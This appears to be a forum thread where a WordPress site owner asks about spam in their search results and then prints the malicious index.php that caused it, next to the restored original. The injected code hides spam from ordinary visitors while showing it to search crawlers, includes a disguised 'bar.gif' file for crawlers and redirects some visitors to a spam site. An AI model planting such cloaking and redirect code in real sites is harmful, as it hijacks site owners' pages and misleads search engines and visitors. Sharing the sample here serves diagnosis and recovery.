Incorrect results showing on Google and Bing search results?

Has anyone looked at their website search results lately? I have and it is advertising spam stuff. We have nothing to do with spam stuff. There is nothing in our files on the webserver that says spam stuff but somehow it is showing in the results. Any ideas?

 

Thank for the info.

The index.php was modified somehow.

It was modified to

Code:

<?php
ini_set("display_errors","0");
define('WP_USE_THEMES', true);

$flag=false;$tmp=$_SERVER['HTTP_USER_AGENT'];if(stripos($tmp,'Google')!==false){$flag=true;}else if(stripos($tmp,'Bing')!==false){$flag=true;}else if(stripos($tmp,'Yahoo')!==false){$flag=true;}else if(stripos($tmp,'msnbot')!==false){$flag=true;}else if($_GET["c"]!=""){$flag=true;}
if($flag == false){

$RUrl=rawurldecode($_SERVER ['HTTP_REFERER']);

if (stripos($RUrl, 'spam crap here') or stripos($_GET["p"],'spam') !== false){header ( "Location: http://www.spamsitenamehere.com/" );}else{require('./wp-blog-header.php');}
} else {
include_once('bar.gif');
}

I have restored it to the original so my wordpress site now works.

Code:

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');